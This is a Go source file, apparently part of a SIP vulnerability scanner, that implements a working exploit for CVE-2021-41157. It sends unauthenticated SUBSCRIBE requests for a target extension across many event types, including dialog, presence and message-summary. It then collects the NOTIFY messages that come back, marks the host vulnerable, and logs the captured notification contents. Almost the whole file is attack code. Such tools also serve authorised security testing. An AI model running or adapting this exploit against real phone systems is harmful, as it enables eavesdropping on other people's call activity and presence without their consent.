package main

import (
	"bytes"
	"fmt"
	"log"
	"net"
	"regexp"
	"strings"
	"time"
)

var (
	maxBufLen   = 20480
	dialTimeout = 2
	events      = []string{
		"talk", "hold", "conference", "as-feature-event",
		"dialog", "line-seize", "call-info", "sla",
		"include-session-description", "presence",
		"presence.winfo", "message-summary", "refer",
	}
	rportRex    = regexp.MustCompile(`(?i)rport=(\d{1,5})`)
	recvdRex    = regexp.MustCompile(`(?i)received=((?:\d{1,3}\.){3}\d{1,3})`)
	validateRex = regexp.MustCompile(`(?i)20\d\s*(?:OK|Accepted)`)
	sanitiseRex = regexp.MustCompile(`(?:\r|\n)`)
	serverHead  = regexp.MustCompile(`(?i)(?:server|user\-agent):\s*(.+)`)
)

func cve2021x41157(host string, pResult *fResult) {
	mextn := strings.Split(host, "@")[0]
	mhost := strings.Split(host, "@")[1]
	conn, err := net.DialTimeout("udp", mhost, time.Duration(dialTimeout)*time.Second)
	if err != nil {
		log.Println(err.Error())
		return
	}
	defer conn.Close()

	localIP := conn.LocalAddr().String()
	var payload string
	payload += fmt.Sprintf("SUBSCRIBE sip:%s;transport=UDP SIP/2.0\r\n", strings.Split(host, ":")[0])
	payload += fmt.Sprintf("Via: SIP/2.0/UDP 127.0.0.1:12701;rport;branch=z9hG4bK-%s\r\n", genRandStr(10))
	payload += "Accept: */*\r\n"
	payload += fmt.Sprintf("To: <sip:%s;transport=UDP>\r\n", host)
	payload += fmt.Sprintf("From: <sip:6969@%s;transport=UDP>;tag=%s\r\n", strings.Split(mhost, ":")[0], genRandStr(8))
	payload += fmt.Sprintf("Contact: <sip:%s@127.0.0.1:12701;transport=UDP>\r\n", mextn)
	payload += "Max-Forwards: 70\r\n"
	payload += fmt.Sprintf("Expires: %d\r\n", maxExpires)
	payload += fmt.Sprintf("User-Agent: %s\r\n", userAgent)
	payload += fmt.Sprintf("Call-ID: %s\r\n", genRandStr(20))
	payload += "CSeq: 1 SUBSCRIBE\r\n"
	payload += "Event: dialog\r\n"
	payload += "Content-Length: 0\r\n"
	payload += "\r\n"

	//conn.SetDeadline(time.Now().Add(time.Duration(connTimeout) * time.Second))
	_, err = conn.Write([]byte(payload))
	if err != nil {
		log.Println(err.Error())
		return
	}
	time.Sleep(time.Duration(delay) * time.Second)
	buff := make([]byte, maxBufLen)
	dchan := make(chan []byte, 1)
	go func() {
		_, err = conn.Read(buff)
		if err != nil {
			log.Println(err.Error())
		}
		dchan <- buff
	}()
	select {
	case <-dchan:
	case <-time.After(5 * time.Second):
		log.Println("Received initial dialog connection timeout from:", host)
		log.Println("Stopping all further checks for CVE-2021-41157...")
		return
	}

	r := rportRex.FindAllSubmatch(buff, -1)
	s := recvdRex.FindAllSubmatch(buff, -1)
	recvd, rport := "", string(r[0][1])
	if len(s) > 0 {
		recvd = string(s[0][1])
	} else {
		recvd = localIP
	}

	log.Printf("Trying to subscribe extension for %d seconds...", maxExpires)
	for _, event := range allEvents {
		var payload string
		payload += fmt.Sprintf("SUBSCRIBE sip:%s;transport=UDP SIP/2.0\r\n", strings.Split(host, ":")[0])
		payload += fmt.Sprintf("Via: SIP/2.0/UDP %s:%s;rport;branch=z9hG4bK-%s\r\n", recvd, rport, genRandStr(10))
		payload += "Accept: */*\r\n"
		payload += fmt.Sprintf("To: <sip:%s;transport=UDP>\r\n", host)
		payload += fmt.Sprintf("From: <sip:6969@%s;transport=UDP>;tag=%s\r\n", strings.Split(mhost, ":")[0], genRandStr(8))
		payload += fmt.Sprintf("Contact: <sip:%s@%s:%s;transport=UDP>\r\n", mextn, recvd, rport)
		payload += "Max-Forwards: 70\r\n"
		payload += fmt.Sprintf("Expires: %d\r\n", maxExpires)
		payload += fmt.Sprintf("User-Agent: %s\r\n", userAgent)
		payload += fmt.Sprintf("Call-ID: %s\r\n", genRandStr(20))
		payload += "CSeq: 1 SUBSCRIBE\r\n"
		payload += fmt.Sprintf("Event: %s\r\n", event)
		payload += "Content-Length: 0\r\n"
		payload += "\r\n"
		_, err := conn.Write([]byte(payload))
		if err != nil {
			log.Println(err.Error())
			continue
		}
		log.Printf("Subscribing to extension %s for event: %s", mextn, event)
		time.Sleep(time.Duration(delay) * time.Second)
	}
	// we keep reading for the time in our Expires header
	conn.SetReadDeadline(time.Now().Add(time.Duration(maxExpires) * time.Second))
	var expdets ExpDetails41157
	expdets.Extension = mextn
	notcount := 0
	log.Printf("Starting to listen for NOTIFY messages for %d seconds...", maxExpires)
	for x := time.Now(); time.Since(x) < time.Duration(maxExpires)*time.Second; {
		buff := make([]byte, maxBufLen)
		_, err := conn.Read(buff)
		if err != nil {
			// if we hit the connection deadline, we don't continue reading any more
			if strings.Contains(err.Error(), "i/o timeout") {
				break
			} else {
				log.Println(err.Error())
			}
		}
		buff = bytes.Trim(buff, "\x00")
		body := strings.TrimSpace(strings.Split(string(buff), "\r\n\r\n")[1])
		if len(body) > 0 {
			thisTime := time.Now()
			fmt.Printf("\r%d/%02d/%02d %02d:%02d:%02d Notifications received for extension %s: %d",
				thisTime.Year(), thisTime.Month(), thisTime.Day(), thisTime.Hour(),
				thisTime.Minute(), thisTime.Second(), mextn, notcount)
			pResult.Details.CVE202141157.IsVulnerable = true
			expdets.NotifsRecvd = append(expdets.NotifsRecvd, struct {
				Timestamp JSONTime `json:"timestamp"`
				Message   string   `json:"notification"`
			}{
				Timestamp: JSONTime(thisTime),
				Message:   body,
			})
			notcount++
		}
	}
	fmt.Print("\n")
	globalTex.Lock()
	pResult.Details.CVE202141157.ExploitDetails = append(pResult.Details.CVE202141157.ExploitDetails, expdets)
	globalTex.Unlock()
	if len(expdets.NotifsRecvd) > 1 {
		log.Println("Exploit completed for CVE-2021-41157:", host)
	} else {
		log.Println("Exploit likely incomplete for CVE-2021-41157:", host)
	}
}